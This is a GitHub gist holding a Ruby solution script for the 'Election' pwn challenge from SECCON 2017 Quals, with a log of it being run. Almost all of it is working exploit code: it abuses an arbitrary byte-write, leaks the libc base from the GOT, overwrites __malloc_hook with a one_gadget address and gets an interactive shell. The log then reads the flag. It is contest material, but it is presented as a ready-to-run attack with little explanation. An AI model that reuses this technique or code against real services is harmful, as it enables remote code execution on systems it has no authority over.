Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Created December 9, 2017 10:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Charo-IT/0941fa799e03633eb80f7638e8d0ef83 to your computer and use it in GitHub Desktop.
Save Charo-IT/0941fa799e03633eb80f7638e8d0ef83 to your computer and use it in GitHub Desktop.
SECCON 2017 Quals - Election
#coding:ascii-8bit
require "pwnlib"
remote = ARGV[0] == "r"
if remote
host = "election.pwn.seccon.jp"
port = 28349
libc_offset = {
"__libc_start_main" => 0x20740,
"__malloc_hook" => 0x3c4b10,
"one_gadget_rce" => 0xf0274
}
else
host = "localhost"
port = 54321
libc_offset = {
"__libc_start_main" => 0x20740,
"__malloc_hook" => 0x3c4b10,
"one_gadget_rce" => 0xf0274
}
end
offset = {
"Ojima" => 0x400eeb,
"list" => 0x602028,
"fakelist" => 0x602040,
"vdso" => 0xffffffffff600000,
"lv" => 0x602010
}
got = {
"__libc_start_main" => 0x601fc0
}
class PwnTube
def recv_until_prompt
recv_until(">> ")
end
end
def tube
@tube
end
def stand(name)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until_prompt
tube.send(name)
end
def vote(name, revote = nil)
tube.recv_until_prompt
tube.sendline("2")
tube.recv_until("Show candidates? (Y/n) ")
tube.send("n\0")
tube.recv_until_prompt
tube.send(name)
if !revote.nil?
tube.recv_until_prompt
tube.send(revote)
end
end
def result
tube.recv_until_prompt
tube.sendline("3")
end
def add_byte(addr, value)
payload = ""
payload << "yes".ljust(32, "\0")
payload << [addr - 0x10].pack("Q")
payload << value.chr
vote("oshima\0", payload)
end
def write_string(addr, s)
s.bytes.each_with_index{|b, i|
while b != 0
add_byte(addr + i, [b, 0x7f].min)
b -= [b, 0x7f].min
end
}
end
def write_qword(addr, value)
write_string(addr, [value].pack("Q"))
end
PwnTube.open(host, port){|t|
@tube = t
puts "[*] add candidate"
stand("hoge")
payload = ""
payload << [offset["vdso"] + 0x801].pack("Q")
payload << [offset["fakelist"]].pack("Q")
stand(payload)
puts "[*] create fake list"
payload = ""
payload << [got["__libc_start_main"], offset["fakelist"] + 0x18, 0].pack("Q*")
payload << [offset["Ojima"], 0, 0].pack("Q*")
write_string(offset["fakelist"], payload)
puts "[*] overwrite list pointer"
add_byte(offset["list"], 0x20)
puts "[*] leak libc base"
tube.recv_until_prompt
tube.sendline("2")
tube.recv_until("Show candidates? (Y/n) ")
tube.send("y\0")
tube.recv_until("Candidates:")
libc_base = tube.recv_capture(/\* (.{5}\x7f)\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"]
puts "libc base = 0x%x" % libc_base
tube.recv_until_prompt
tube.sendline("a")
puts "[*] overwrite __malloc_hook"
write_qword(libc_base + libc_offset["__malloc_hook"], libc_base + libc_offset["one_gadget_rce"])
puts "[*] overwrite lv"
add_byte(offset["lv"], -2 & 0xff)
puts "[*] launch shell"
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until_prompt
tube.send("\0" * 31)
tube.interactive
}
$ ruby election.rb r
[*] connected
[*] add candidate
[*] create fake list
[*] overwrite list pointer
[*] leak libc base
libc base = 0x7f191c023000
[*] overwrite __malloc_hook
[*] overwrite lv
[*] launch shell
[*] interactive mode
id
uid=20169 gid=20000(election) groups=20000(election)
ls -la
total 40
drwxr-x--- 2 root election 4096 Nov 23 17:17 .
drwxr-xr-x 6 root root 4096 Nov 28 18:36 ..
-rw-r----- 1 root election 220 Sep 1 2015 .bash_logout
-rw-r----- 1 root election 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root election 655 May 16 2017 .profile
-rwxr-x--- 1 root election 13432 Nov 23 17:17 election
-rw-r----- 1 root election 34 Nov 23 16:04 flag.txt
cat flag.txt
SECCON{I5_7h15_4_fr4ud_3l3c710n?}
exit
[*] end interactive mode
[*] connection closed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment